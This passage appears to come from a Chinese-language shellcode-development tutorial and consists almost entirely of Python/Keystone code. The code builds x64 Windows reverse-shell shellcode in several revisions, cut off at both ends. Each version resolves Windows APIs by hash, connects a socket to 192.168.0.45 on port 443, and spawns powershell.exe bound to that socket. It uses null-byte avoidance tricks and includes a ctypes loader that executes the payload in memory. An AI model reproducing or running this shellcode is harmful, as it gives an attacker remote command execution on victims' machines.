"   mov rax, 0x1010101010101010;"    # Elimate 0x00 1-2
"   sub r12, rax;"    # Elimate 0x00 1-3

#"   mov r13, 0x002e00320033004c;"    # Unicode string ".23L"
"   mov r13, 0x103e10421043105c;"    # Elimate 0x00 2-1
"   mov rax, 0x1010101010101010;"    # Elimate 0x00 2-2
"   sub r13, rax;"    # Elimate 0x00 2-3

"   mov rdx, qword ptr [rdi];"    # Move "ERNEL32.DLL" to RDX
"   cmp rdx, r12;"    # Compare the first 4 characters against "ENRE"
"   jne check_lower;"    # If no equal, the dll name could be lower case
"   mov rdx, qword ptr [rdi + 8];"    # If equal, move ".23L" to RDX
"   cmp rdx, r13;"    # Compare the next 4 characters ".23L"
"   jne next_module;"    # If not equal, move to next module
"   mov rax, r9;"    # Save Dll Base in RAX as the return value
"   ret;"

" check_lower:"
#"   mov r12, 0x0065006E00720065;"    # Unicode string "enre"
#"   mov r12, 0x1075107E10821075;"    # Elimate 0x00 3-1
#"   mov rax, 0x1010101010101010;"    # Elimate 0x00 3-2
#"   sub r12, rax;"    # Elimate 0x00 3-3
#
#"   mov r13, 0x002e00320033006c;"    # Unicode string ".23l"
#"   mov r13, 0x103e10421043107c;"    # Elimate 0x00 4-1
#"   mov rax, 0x1010101010101010;"    # Elimate 0x00 4-2
#"   sub r13, rax;"    # Elimate 0x00 4-3
#
#"   mov rdx, qword ptr [rdi];"    # Move "ernel32.dll" to RDX
#"   cmp rdx, r12;"    # Compare the first 4 characters against "enre"
#"   jne next_module;"    # If no equal, case sensitivity is not the cause, just move to the next module
#"   mov rdx, qword ptr [rdi + 8];"    # If equal, move ".23l" to RDX 
#"   cmp rdx, r13;"    # Compare the next 4 characters ".23l" 
#"   jne next_module;"    # If not equal, move to next module
#"   mov rax, r9;"    # Save Dll Base in RAX as the return value
#"   ret;"


" parse_module:"
"   mov ecx, dword ptr [r9 + 0x3c];"    # R9 saves Dll Base address, fetch the offset to NT Header
#"   mov r15d, dword ptr [r9 + rcx + 0x88];"    # Fetch RVA of Export Directory
"   xor r15, r15;"
"   mov r15b, 0x88;"
"      add r15, r9;"
"   add r15, rcx;"
"   mov r15d, dword ptr [r15];"


"   add r15, r9;"    # R15 saves the VMA of Export Directory
"   mov ecx, dword ptr [r15 + 0x18];"    # Number of function names
"   mov r14d, dword ptr [r15 + 0x20];"    # Fetch RVA of ENPT
"   add r14, r9;"    # R14 saves the VMA of ENPT
" search_function:"
"   jrcxz not_found;"    # If RCX = 0, the function is not found
"   dec ecx;"    # Index decreases by 1
"   xor rsi, rsi;"    # Zero out RSI
"   mov esi, [r14 + rcx*4];"    # RVA of current function name string
"   add rsi, r9;"    # RSI points to current function name
" function_hashing:"
"   xor rax, rax;"    # Clean RAX
"   xor rdx, rdx;"    # Clean RDX
"   cld;"    # Clear direction flag
" iteration:"
"   lodsb;"    # Copy next byte in RSI to Al
"   test al, al;"    # If reach to the end 
"   jz compare_hash;"    # Compare the function hash
"   ror edx, 0x0d;"    # Part of the hashing algorithm
"   add edx, eax;"    # Part of the hashing algorithm,
"   jmp iteration;"    # Move to next byte
" compare_hash:"
"   cmp edx, r8d;"
"   jnz search_function;"
"   mov r10d, [r15 + 0x24];"    # Ordinal Table RVA
"   add r10, r9;"    # Ordinal Table VMA
"   movzx ecx, word ptr [r10 + 2*rcx];"    # Function Ordinal Number
"   mov r11d, [r15 + 0x1c];"    # EAT RVA
"   add r11, r9;"    # EAT VMA
"   mov eax, [r11 + 4*rcx];"    # Function RVA
"   add rax, r9;"    # Function VMA
"   ret;"
" not_found:"
"   ret;"


" load_module:"
#"   mov rax, 0x6c6c  ;"   # Move "ll" into RAX
"   xor rax, rax;"
"   xor r13, r13;"
"   mov ax, 0xffff;"    #
"   mov r13w, 0x9393;"
"   sub rax, r13;"


"   push rax  ;"    # Push RAX onto the stack
"   mov rax, 0x642E32335F325357  ;"     # Move "WS2_32.D" into RAX
"   push rax  ;"    # Push RAX onto the stack
"   mov rcx, rsp;"      # RCX = Pointer to "ws2_32.dll\0"
"   sub rsp, 0x20;"     # Reverse space for x64 calling convention
"   mov rax, r12;"      # RAX = Address of LoadLibraryA
"   call rax;"          # LoadLibraryA("ws2_32.dll")
"   add rsp, 0x20;"     # Clean up reversed space
"   add rsp, 0x10;"     # Clean up WS2_32.DLL string
"   mov r14, rax;"      # Save the returned base address of ws2_32.dll

" call_wsastartup:"

"   mov r9, rax;"    # R9 = WS2_32.DLL
"   mov r8d, 0x3bfcedcb;"    # WSAStart Hash
"   mov rbx, r9;"    # Save ws2_32.dll base address in rbx for next use
"   call parse_module;"    # Search WSAStartup address
"   xor rcx, rcx;"
"   mov cx, 0x198;"    
"   sub rsp, rcx;"  
"   lea rdx, [rsp];"    # lpWSAData
#"   mov rcx, 0x202;"    # wVersionRequired 
"   xor rcx, rcx;"
"   xor r13, r13;"
"   mov cx, 0x3333;"
"   mov r13w, 0x1111;"
"   sub rcx, r13;"

"   sub rsp, 0x58;"
"   call rax;"    # Call WSAStartup
"   add rsp, 0x58;"    # Recover the stack


" call_wsasocket:"
"   mov r9, rbx;"    # R9 = WS2_32.DLL
"   mov r8d, 0xadf509d9;"    # WSASocketA Hash
"   call parse_module;"    # Search WSASocketA address
"   sub rsp, 0x58;"
#"   mov rcx, 2;"    # 2
"   xor rcx, rcx;"
"   inc rcx;"
"   inc rcx;"

#"   mov rdx, 1;"    # 1
"   xor rdx, rdx;"
"      inc rdx;"

#"   mov r8, 6;"    # 6
"   xor r8, r8;"
"   mov r8b, 0xfffa;"
"   neg r8b;"

"   xor r9, r9;"    # 0
"   mov [rsp+0x20], r9;"   # 0
"   mov [rsp+0x28], r9;"    # 0
"   call rax;"
"   mov r12, rax;"    # Save socket to r12 for later use
"   add rsp, 0x58;"

" call_wsaconnect:"
"   mov r9, rbx;"    # R9 = WS2_32.DLL
"   mov r8d, 0xb32dba0c;"    # WSAConnect Hash
"   call parse_module;"    # Search WSAConnect address
#"   sub rsp, 0x200;"    # Reserve space for socketaddr
"   xor r13, r13;"
"   xor r15, r15;"
"   mov r13w, 0xffff;"
"   mov r15w, 0xfdff;"
"   sub r13, r15;"
"   sub rsp, r13;"



"   mov rcx, r12;"    # Move socket to RCX as the 1st argument
#"   mov rdx, 2    # AF_INET = 2
"   xor rdx, rdx;"
"   inc rdx;"
"   inc rdx;"    

"   mov [rsp], rdx;"    # Store structure socketaddr
#"   mov rdx, 0xbb01;"    # Port 443 01bb
"   xor rdx, rdx;"
"   mov dx, 0xbb01;"


"   mov [rsp+2], rdx;"    # Add 2nd member of socketaddr
#"   mov rdx, 0x2d00a8c0;"    # IP  192.168.0.45
"   mov edx, 0x3d10b8d0;"
"   sub edx, 0x10101010;"



"   mov [rsp+4], rdx;"    # Add 3rd member of socketaddr
"   lea rdx, [rsp];"    # Pointer to socketaddr structure as the 2nd argument
#"   mov r8, 0x16;"    # namelen = 16 bytes
"   xor r8, r8;"
"   mov r8w, 0x2610;"
"   sub r8w, 0x1010;"


"   xor r9, r9;"    # lpCallerData = NULL as the 4th argument
"   sub rsp, 0x58;"    # Reverse space for fastcall convention
"   mov [rsp+0x20], r9;"    # lpCalleeData = NULL as the 5th argument
"   mov [rsp+0x28], r9;"    # lpSQOS = NULL as the 6th argument
"   mov [rsp+0x30], r9;"    # lpGQOS = NULL as the 7th argument
"   call rax;"
"   add rsp, 0x58;"   # Release space

" call_createprocess:"
"   mov r9, rbp;"    # R9 = KERNEL32.DLL
"   mov r8d, 0x16b3fe72;"    # CreateProcessA Hash
"   call parse_module;"    # Search CreateProcessA address
#"   mov rdx, 0x6578652e6c6c;"    # Push string "exe.ll"
"   mov rdx, 0x10107588753e7c7c;"
"   mov r13, 0x1010101010101010;"
"   sub rdx, r13;"


"   push rdx;"
"   mov rdx, 0x6568737265776f70;"
"   push rdx;"
"   mov rcx, rsp;"    # Application Name Argument as the 1st argument
"   push r12;"    # STDERROR
"   push r12;"    # STDOUTPUT
"   push r12;"    # STDINPUT
"   xor rdx, rdx;"
"   push dx;"    
"   push rdx;"
"   push rdx;"
#"   mov rdx, 0x100;"     
"   mov dx, 0x1110;"
"   sub dx, 0x1010;"


"   push dx;"  # dwFlags = 0x100  
"   xor rdx, rdx;"
"   push dx;"
"   push dx;"
"   push rdx;"
"   push rdx;"
"   push rdx;"
"   push rdx;"
"   push rdx;"
"   push rdx;"
#"   mov rdx, 0x68;"
"   mov dl, 0x68;"


"   push rdx;"    # cb = 0x68
"   mov rdi, rsp;"
"   mov rdx, rsp;"    
#"  sub rdx, 0x500;"
"   sub dl, 0x68;"

"   push rdx;"    # ProcessInformation as the 10th argument
"   push rdi;"    # Pointer to STARTINFO as the 9th argument
"   xor rdx, rdx;"
"   push rdx;"    # lpCurrentDirectory as the 8th argument
"   push rdx;"    # lpEnvironment as the 7th argument
"   push rdx;"    # dwCreationFlags as the 6th argument
"   inc rdx;"
"   push rdx;"    # bInheritHandles as the 5th argument
"   xor rdx, rdx;"
"   push rdx;"    # Reverse space for 4th argument
"   push rdx;"    # Reverse space for 3th argument
"   push rdx;"    # Reverse space for 2th argument
"   push rdx;"    # Reverse space for 1th argument
"   mov rdx, rcx;"    # lpCommandLine
"   xor rcx, rcx;"
"   mov r8, rcx;"    # lpProcessAttributes
"   mov r9, rcx;"    # lpThreatAttributes
"   call rax;"   
)

# Initialize engine in X64-64bit mode
ks = Ks(KS_ARCH_X86, KS_MODE_64)
encoding, count = ks.asm(CODE)
print("Encoded %d instructions..." % count)

sh = b""
for e in encoding:
    sh += struct.pack("B", e)
shellcode = bytearray(sh)
sc = ""
print("Length of shellcode: "+str(len(encoding)))


for dec in encoding: 
  sc += "\\x{0:02x}".format(int(dec)).rstrip("\n")
  
print(sc)


PIC 代码

import ctypes, struct
from keystone import *

CODE = (
" start:"
"   int 3;"
" find_kernel32:"
"   xor rdx, rdx;"
"   mov rax, gs:[rdx + 0x60];"  # RAX = TEB->PEB
"   mov rsi, [rax + 0x18];"    # RSI = PEB->LDR 
"   mov rsi, [rsi + 0x20];"    # RSI = PEB->LDR.InMemoryOrderModuleList
" next_module:"
"   mov r9, [rsi + 0x20];"    # R9 = InMemoryOrderModuleList[x].DllBase
"   mov rdi, [rsi + 0x50];"    # RDI = InMemoryOrderModuleList[x].DllBaseName
"   mov rsi, [rsi];"    # RSI = InMemoryOrderModuleList[x].Flink
"   add rdi, 2;"    # Skip the 1st character of "KERNEL32.DLL"
" check_upper:"

"   mov r12, 0x1055105E10621055;"    # Elimate 0x00 1-1
"   mov rax, 0x1010101010101010;"    # Elimate 0x00 1-2
"   sub r12, rax;"    # Elimate 0x00 1-3
"   mov r13, 0x103e10421043105c;"    # Elimate 0x00 2-1
"   mov rax, 0x1010101010101010;"    # Elimate 0x00 2-2
"   sub r13, rax;"    # Elimate 0x00 2-3
"   mov rdx, qword ptr [rdi];"    # Move "ERNEL32.DLL" to RDX
"   cmp rdx, r12;"    # Compare the first 4 characters against "ENRE"
"   jne check_lower;"    # If no equal, the dll name could be lower case
"   mov rdx, qword ptr [rdi + 8];"    # If equal, move ".23L" to RDX
"   cmp rdx, r13;"    # Compare the next 4 characters ".23L"
"   jne next_module;"    # If not equal, move to next module
"   jmp jump_proxy;"
" check_lower:"
"   mov r12, 0x1075107E10821075;"    # Elimate 0x00 3-1
"   mov rax, 0x1010101010101010;"    # Elimate 0x00 3-2
"   sub r12, rax;"    # Elimate 0x00 3-3
"   mov r13, 0x103e10421043107c;"    # Elimate 0x00 4-1
"   mov rax, 0x1010101010101010;"    # Elimate 0x00 4-2
"   sub r13, rax;"    # Elimate 0x00 4-3
"   mov rdx, qword ptr [rdi];"    # Move "ernel32.dll" to RDX
"   cmp rdx, r12;"    # Compare the first 4 characters against "enre"
"   jne next_module;"    # If no equal, case sensitivity is not the cause, just move to the next module
"   mov rdx, qword ptr [rdi + 8];"    # If equal, move ".23l" to RDX 
"   cmp rdx, r13;"    # Compare the next 4 characters ".23l" 
"   jne next_module;"    # If not equal, move to next module

" jump_proxy:"
"   jmp jump_section;"


" parse_module:"
"   mov ecx, dword ptr [r9 + 0x3c];"    # R9 saves Dll Base address, fetch the offset to NT Header
"   xor r15, r15;"
"   mov r15b, 0x88;"
"   add r15, r9;"
"   add r15, rcx;"
"   mov r15d, dword ptr [r15];"
"   add r15, r9;"    # R15 saves the VMA of Export Directory
"   mov ecx, dword ptr [r15 + 0x18];"    # Number of function names
"   mov r14d, dword ptr [r15 + 0x20];"    # Fetch RVA of ENPT
"   add r14, r9;"    # R14 saves the VMA of ENPT
" search_function:"
"   jrcxz not_found;"    # If RCX = 0, the function is not found
"   dec ecx;"    # Index decreases by 1
"   xor rsi, rsi;"    # Zero out RSI
"   mov esi, [r14 + rcx*4];"    # RVA of current function name string
"   add rsi, r9;"    # RSI points to current function name
" function_hashing:"
"   xor rax, rax;"    # Clean RAX
"   xor rdx, rdx;"    # Clean RDX
"   cld;"    # Clear direction flag
" iteration:"
"   lodsb;"    # Copy next byte in RSI to Al
"   test al, al;"    # If reach to the end 
"   jz compare_hash;"    # Compare the function hash
"   ror edx, 0x0d;"    # Part of the hashing algorithm
"   add edx, eax;"    # Part of the hashing algorithm,
"   jmp iteration;"    # Move to next byte
" compare_hash:"
"   cmp edx, r8d;"
"   jnz search_function;"
"   mov r10d, [r15 + 0x24];"    # Ordinal Table RVA
"   add r10, r9;"    # Ordinal Table VMA
"   movzx ecx, word ptr [r10 + 2*rcx];"    # Function Ordinal Number
"   mov r11d, [r15 + 0x1c];"    # EAT RVA
"   add r11, r9;"    # EAT VMA
"   mov eax, [r11 + 4*rcx];"    # Function RVA
"   add rax, r9;"    # Function VMA
"   ret;"
" not_found:"
"   ret;"

" jump_section:"
"   mov rbp, r9;"    # RBP = Kernel32.dll Address
"   mov r8d, 0xec0e4e8e;"    # LoadLibraryA Hash
"      sub rsp, 0x30;"
"   call parse_module;"    # Search LoadLibraryA's address   
"   add rsp, 0x30;"
"   mov r12, rax;"    # R12 = LoadLibraryA Address
"   mov r8d, 0x7c0dfcaa;"    # GetProcAddress Hash
"   sub rsp, 0x30;"
"   call parse_module;"    # Search GetProcAddress' address
"   add rsp, 0x30;"
"   mov r13, rax;"    # R13 = GetProcAddress Address



" load_module:"
"   xor rax, rax;"
"   xor r13, r13;"
"   mov ax, 0xffff;"    #
"   mov r13w, 0x9393;"
"   sub rax, r13;"
"   push rax  ;"    # Push RAX onto the stack
"   mov rax, 0x642E32335F325357  ;"     # Move "WS2_32.D" into RAX
"   push rax  ;"    # Push RAX onto the stack
"   mov rcx, rsp;"      # RCX = Pointer to "ws2_32.dll\0"
"   sub rsp, 0x20;"     # Reverse space for x64 calling convention
"   mov rax, r12;"      # RAX = Address of LoadLibraryA
"   call rax;"          # LoadLibraryA("ws2_32.dll")
"   add rsp, 0x20;"     # Clean up reversed space
"   mov r14, rax;"      # Save the returned base address of ws2_32.dll

" call_wsastartup:"
"   mov r9, rax;"    # R9 = WS2_32.DLL
"   mov r8d, 0x3bfcedcb;"    # WSAStart Hash
"   mov rbx, r9;"    # Save ws2_32.dll base address in rbx for next use
"   call parse_module;"    # Search WSAStartup address
"   xor rcx, rcx;"
"   mov cx, 0x198;"    
"   sub rsp, rcx;"  
"   lea rdx, [rsp];"    # lpWSAData
"   xor rcx, rcx;"
"   xor r13, r13;"
"   mov cx, 0x1313;"
"   mov r13w, 0x1111;"
"   sub rcx, r13;"
"   sub rsp, 0x50;"
"   call rax;"    # Call WSAStartup
"   add rsp, 0x50;"    # Recover the stack


" call_wsasocket:"
"   mov r9, rbx;"    # R9 = WS2_32.DLL
"   mov r8d, 0xadf509d9;"    # WSASocketA Hash
"   call parse_module;"    # Search WSASocketA address
"   sub rsp, 0x50;"
"   xor rcx, rcx;"
"   inc rcx;"
"   inc rcx;"
"   xor rdx, rdx;"
"   inc rdx;"
"   xor r8, r8;"
"   mov r8b, 0xfffa;"
"   neg r8b;"
"   xor r9, r9;"    # 0
"   mov [rsp+0x20], r9;"   # 0
"   mov [rsp+0x28], r9;"    # 0
"   call rax;"
"   mov r12, rax;"    # Save socket to r12 for later use
"   add rsp, 0x50;"

" call_wsaconnect:"
"   mov r9, rbx;"    # R9 = WS2_32.DLL
"   mov r8d, 0xb32dba0c;"    # WSAConnect Hash
"   call parse_module;"    # Search WSAConnect address
"   xor r13, r13;"
"   xor r15, r15;"
"   mov r13w, 0xffff;"
"   mov r15w, 0xfdff;"
"   sub r13, r15;"
"   sub rsp, r13;"
"   mov rcx, r12;"    # Move socket to RCX as the 1st argument
"   xor rdx, rdx;"
"   inc rdx;"
"   inc rdx;"    
"   mov [rsp], rdx;"    # Store structure socketaddr
"   xor rdx, rdx;"
"   mov dx, 0xbb01;"
"   mov [rsp+2], rdx;"    # Add 2nd member of socketaddr
"   mov edx, 0x3d10b8d0;"
"   sub edx, 0x10101010;"
"   mov [rsp+4], rdx;"    # Add 3rd member of socketaddr
"   lea rdx, [rsp];"    # Pointer to socketaddr structure as the 2nd argument
"   xor r8, r8;"
"   mov r8w, 0x2610;"
"   sub r8w, 0x1010;"
"   xor r9, r9;"    # lpCallerData = NULL as the 4th argument
"   sub rsp, 0x50;"    # Reverse space for fastcall convention
"   mov [rsp+0x20], r9;"    # lpCalleeData = NULL as the 5th argument
"   mov [rsp+0x28], r9;"    # lpSQOS = NULL as the 6th argument
"   mov [rsp+0x30], r9;"    # lpGQOS = NULL as the 7th argument
"   call rax;"
"   add rsp, 0x50;"   # Release space

" call_createprocess:"
"   mov r9, rbp;"    # R9 = KERNEL32.DLL
"   mov r8d, 0x16b3fe72;"    # CreateProcessA Hash
"   call parse_module;"    # Search CreateProcessA address
"   mov rdx, 0x10107588753e7c7c;"
"   mov r13, 0x1010101010101010;"
"   sub rdx, r13;"
"   sub rsp,0x18;"
"   push rdx;"
"   mov rdx, 0x6568737265776f70;"
"   push rdx;"
"   mov rcx, rsp;"    # Application Name Argument as the 1st argument
"   push r12;"    # STDERROR
"   push r12;"    # STDOUTPUT
"   push r12;"    # STDINPUT
"   xor rdx, rdx;"
"   push dx;"    
"   push rdx;"
"   push rdx;"
"   mov dx, 0x1110;"
"   sub dx, 0x1010;"
"   push dx;"  # dwFlags = 0x100  
"   xor rdx, rdx;"
"   push dx;"
"   push dx;"
"   push rdx;"
"   push rdx;"
"   push rdx;"
"   push rdx;"
"   push rdx;"
"   push rdx;"
"   mov dl, 0x68;"
"   push rdx;"    # cb = 0x68
"   mov rdi, rsp;"
"   mov rdx, rsp;"    
"   sub dl, 0x68;"
"   push rdx;"    # ProcessInformation as the 10th argument
"   push rdi;"    # Pointer to STARTINFO as the 9th argument
"   xor rdx, rdx;"
"   push rdx;"    # lpCurrentDirectory as the 8th argument
"   push rdx;"    # lpEnvironment as the 7th argument
"   push rdx;"    # dwCreationFlags as the 6th argument
"   inc rdx;"
"   push rdx;"    # bInheritHandles as the 5th argument
"   xor rdx, rdx;"
"   push rdx;"    # Reverse space for 4th argument
"   push rdx;"    # Reverse space for 3th argument
"   push rdx;"    # Reverse space for 2th argument
"   push rdx;"    # Reverse space for 1th argument
"   mov rdx, rcx;"    # lpCommandLine
"   xor rcx, rcx;"
"   mov r8, rcx;"    # lpProcessAttributes
"   mov r9, rcx;"    # lpThreatAttributes
"   call rax;"
)


# Initialize engine in X64-64bit mode
ks = Ks(KS_ARCH_X86, KS_MODE_64)
encoding, count = ks.asm(CODE)
print("Encoded %d instructions..." % count)

sh = b""
for e in encoding:
    sh += struct.pack("B", e)
shellcode = bytearray(sh)

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))
print("Shellcode located at address %s" % hex(ptr))
input("...ENTER TO EXECUTE SHELLCODE...")

ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_uint64(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))


减少字节数


改善寻找 Kernel32.dll 的方法


import ctypes, struct
from keystone import *

CODE = (
" locate_kernel32:"
"   xor rdx, rdx;"
"   mov rax, gs:[rdx + 0x60];"  # RAX = TEB->PEB
"   mov rsi, [rax + 0x18];"    # RSI = PEB->LDR 
"   mov rsi, [rsi + 0x20];"    # RSI = PEB->LDR.InMemoryOrderModuleList
"   mov r9, [rsi];"    # python.exe
"   mov r9, [r9];"    # ntdll.dll
"   mov r9, [r9+0x20];"    # kernel32.dll
"   jmp jump_section;"    # Achieve PIC

" parse_module:"
"   mov ecx, dword ptr [r9 + 0x3c];"    # R9 saves Dll Base address, fetch the offset to NT Header
"   xor r15, r15;"    # Fetch RVA of Export Directory
"   mov r15b, 0x88;"
"   add r15, r9;"
"   add r15, rcx;"
"   mov r15d, dword ptr [r15];"
"   add r15, r9;"    # R15 saves the VMA of Export Directory
"   mov ecx, dword ptr [r15 + 0x18];"    # Number of function names
"   mov r14d, dword ptr [r15 + 0x20];"    # Fetch RVA of ENPT
"   add r14, r9;"    # R14 saves the VMA of ENPT

" search_function:"
"   jrcxz not_found;"    # If RCX = 0, the function is not found
"   dec ecx;"    # Index decreases by 1
"   xor rsi, rsi;"    # Zero out RSI
"   mov esi, [r14 + rcx*4];"    # RVA of current function name string
"   add rsi, r9;"    # RSI points to current function name

" function_hashing:"
"   xor rax, rax;"    # Clean RAX
"   xor rdx, rdx;"    # Clean RDX
"   cld;"    # Clear direction flag

" iteration:"
"   lodsb;"    # Copy next byte in RSI to Al
"   test al, al;"    # If reach to the end 
"   jz compare_hash;"    # Compare the function hash
"   ror edx, 0x0d;"    # Part of the hashing algorithm
"   add edx, eax;"    # Part of the hashing algorithm,
"   jmp iteration;"    # Move to next byte

" compare_hash:"
"   cmp edx, r8d;"
"   jnz search_function;"
"   mov r10d, [r15 + 0x24];"    # Ordinal Table RVA
"   add r10, r9;"    # Ordinal Table VMA
"   movzx ecx, word ptr [r10 + 2*rcx];"    # Function Ordinal Number
"   mov r11d, [r15 + 0x1c];"    # EAT RVA
"   add r11, r9;"    # EAT VMA
"   mov eax, [r11 + 4*rcx];"    # Function RVA
"   add rax, r9;"    # Function VMA
"   ret;"
" not_found:"
"   ret;"

" jump_section:"
"   mov rbp, r9;"    # RBP = Kernel32.dll Address
"   mov r8d, 0xec0e4e8e;"    # LoadLibraryA Hash
"   sub rsp, 0x30;"
"   call parse_module;"    # Search LoadLibraryA's address   
"   add rsp, 0x30;"
"   mov r12, rax;"    # R12 = LoadLibraryA Address
"   mov r8d, 0x7c0dfcaa;"    # GetProcAddress Hash
"   sub rsp, 0x30;"
"   call parse_module;"    # Search GetProcAddress' address
"   add rsp, 0x30;"
"   mov r13, rax;"    # R13 = GetProcAddress Address

" load_module:"
"   xor rax, rax;"    # Move "ll" + 0x9393 into RAX
"   xor r13, r13;"
"   mov ax, 0xffff;"    # Recover "ll"
"   mov r13w, 0x9393;"
"   sub rax, r13;"
"   push rax  ;"    # Push RAX onto the stack
"   mov rax, 0x642E32335F325357  ;"     # Move "WS2_32.D" into RAX
"   push rax  ;"    # Push RAX onto the stack
"   mov rcx, rsp;"      # RCX = Pointer to "ws2_32.dll" s
"   sub rsp, 0x20;"     # Reverse space for x64 calling convention
"   mov rax, r12;"      # RAX = Address of LoadLibraryA
"   call rax;"          # LoadLibraryA("ws2_32.dll")
"   add rsp, 0x20;"     # Clean up reversed space
"   mov r14, rax;"      # Save the returned base address of ws2_32.dll

" call_wsastartup:"
"   mov r9, rax;"    # R9 = WS2_32.DLL
"   mov r8d, 0x3bfcedcb;"    # WSAStart Hash
"   mov rbx, r9;"    # Save ws2_32.dll base address in rbx for next use
"   call parse_module;"    # Search WSAStartup address
"   xor rcx, rcx;"
"   mov cx, 0x198;"    
"   sub rsp, rcx;"  
"   lea rdx, [rsp];"    # lpWSAData
"   xor rcx, rcx;"
"   xor r13, r13;"
"   mov cx, 0x1313;"    # wVersionRequired = 0x202 + 0x1010
"   mov r13w, 0x1111;"    # Recover 0x202
"   sub rcx, r13;"
"   sub rsp, 0x50;"
"   call rax;"    # Call WSAStartup
"   add rsp, 0x50;"    # Recover the stack

" call_wsasocket:"
"   mov r9, rbx;"    # R9 = WS2_32.DLL
"   mov r8d, 0xadf509d9;"    # WSASocketA Hash
"   call parse_module;"    # Search WSASocketA address
"   sub rsp, 0x50;"   
"   xor rcx, rcx;"    # AF_INIT =2 as the 1st argument
"   inc rcx;"
"   inc rcx;"
"   xor rdx, rdx;"
"   inc rdx;"   # SOCK_STREAM = 1 as the 2nd argument
"   xor r8, r8;"   
"   mov r8b, 0xfffa;"    # rb 8= -6
"   neg r8b;"    # IPPROTO_TCP = 6 as the 3rd argument
"   xor r9, r9;"    # lpProtocolInfo = 0 as the 4rd argument  
"   mov [rsp+0x20], r9;"   # g = 0 as the 5th argument
"   mov [rsp+0x28], r9;"    # dwFlags = 0 as the 6th argument
"   call rax;"    # Call WSASocketA
"   mov r12, rax;"    # Save socket to r12 for later use
"   add rsp, 0x50;"

" call_wsaconnect:"
"   mov r9, rbx;"    # R9 = WS2_32.DLL
"   mov r8d, 0xb32dba0c;"    # WSAConnect Hash
"   call parse_module;"    # Search WSAConnect address
"   xor r13, r13;"
"   xor r15, r15;"
"   mov r13w, 0xffff;"
"   mov r15w, 0xfdff;"
"   sub r13, r15;"
"   sub rsp, r13;"    # Reserve 0x200 bytes for SocketAddr (Overkill)
"   mov rcx, r12;"    # Move socket to RCX as the 1st argument
"   xor rdx, rdx;"    # sin_family = AF_INET = 2 as the 1st member in sockaddr structure
"   inc rdx;"
"   inc rdx;"    
"   mov [rsp], rdx;"    # Store structure socketaddr
"   xor rdx, rdx;"    # Port 443 01bb as the 2nd member in sockaddr structure
"   mov dx, 0xbb01;"
"   mov [rsp+2], rdx;"    # Add 2nd member of socketaddr
"   mov edx, 0x3d10b8d0;"    # IP = 192.168.0.45 + 0x10101010 as the 3rd member in sockaddr structure
"   sub edx, 0x10101010;"    # Recover IP address
"   mov [rsp+4], rdx;"    # Add 3rd member of socketaddr
"   lea rdx, [rsp];"    # Pointer to socketaddr structure as the 2nd argument
"   xor r8, r8;"
"   mov r8w, 0x1026;"    
"   sub r8w, 0x1010;"    # namelen = 16 bytes as the 3rd argument 
"   xor r9, r9;"    # lpCallerData = NULL as the 4th argument
"   sub rsp, 0x50;"    # Reserve space for fastcall convention
"   mov [rsp+0x20], r9;"    # lpCalleeData = NULL as the 5th argument
"   mov [rsp+0x28], r9;"    # lpSQOS = NULL as the 6th argument
"   mov [rsp+0x30], r9;"    # lpGQOS = NULL as the 7th argument
"   call rax;"    # Call WSAConnect
"   add rsp, 0x50;"   # Release space

" call_createprocess:"
"   mov r9, rbp;"    # R9 = KERNEL32.DLL
"   mov r8d, 0x16b3fe72;"    # CreateProcessA Hash
"   call parse_module;"    # Search CreateProcessA address
"   mov rdx, 0x10107588753e7c7c;"    # Push string "exe.ll" + 0x1010101010101010 
"   mov r13, 0x1010101010101010;"    # Recover "exe.ll"
"   sub rdx, r13;"    
"   sub rsp,0x18;"    # Align stack to meet 16 bytes alignment 
"   push rdx;"    # Push string "ll.exe" to stack
"   mov rdx, 0x6568737265776f70;"    # Push string "ehsrewop"
"   push rdx;"    # Push string "powershe" to stack
"   mov rcx, rsp;"    # Application Name Argument as the 1st argument
"   push r12;"    # STDERROR
"   push r12;"    # STDOUTPUT
"   push r12;"    # STDINPUT
"   xor rdx, rdx;"
"   push dx;"    
"   push rdx;"
"   push rdx;" 
"   mov dx, 0x1110;"    # 0x100 = 0x1110 - 0x1010
"   sub dx, 0x1010;"   
"   push dx;"    # dwFlags = 0x100  
"   xor rdx, rdx;"
"   push dx;"
"   push dx;"
"   push rdx;"
"   push rdx;"
"   push rdx;"
"   push rdx;"
"   push rdx;"
"   push rdx;"
"   mov dl, 0x68;"
"   push rdx;"    # cb = 0x68 
"   mov rdi, rsp;"
"   mov rdx, rsp;"    
"   sub dl, 0x68;"
"   push rdx;"    # ProcessInformation as the 10th argument
"   push rdi;"    # Pointer to STARTINFO as the 9th argument
"   xor rdx, rdx;"
"   push rdx;"    # lpCurrentDirectory as the 8th argument
"   push rdx;"    # lpEnvironment as the 7th argument
"   push rdx;"    # dwCreationFlags as the 6th argument
"   inc rdx;"
"   push rdx;"    # bInheritHandles as the 5th argument
"   xor rdx, rdx;"
"   push rdx;"    # Reserve space for 4th argument on stack
"   push rdx;"    # Reserve space for 3th argument on stack
"   push rdx;"    # Reserve space for 2th argument on stack
"   push rdx;"    # Reserve space for 1th argument on stack
"   mov rdx, rcx;"    # lpCommandLine
"   xor rcx, rcx;"
"   mov r8, rcx;"    # lpProcessAttributes as the 3rd argument
"   mov r9, rcx;"    # lpThreatAttributes as the 4th argument
"   call rax;"
)

# Initialize engine in X64-64bit mode
ks = Ks(KS_ARCH_X86, KS_MODE_64)
encoding, count = ks.asm(CODE)
print("Encoded %d instructions..." % count)

sh = b""
for e in encoding:
    sh += struct.pack("B", e)
shellcode = bytearray(sh)

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
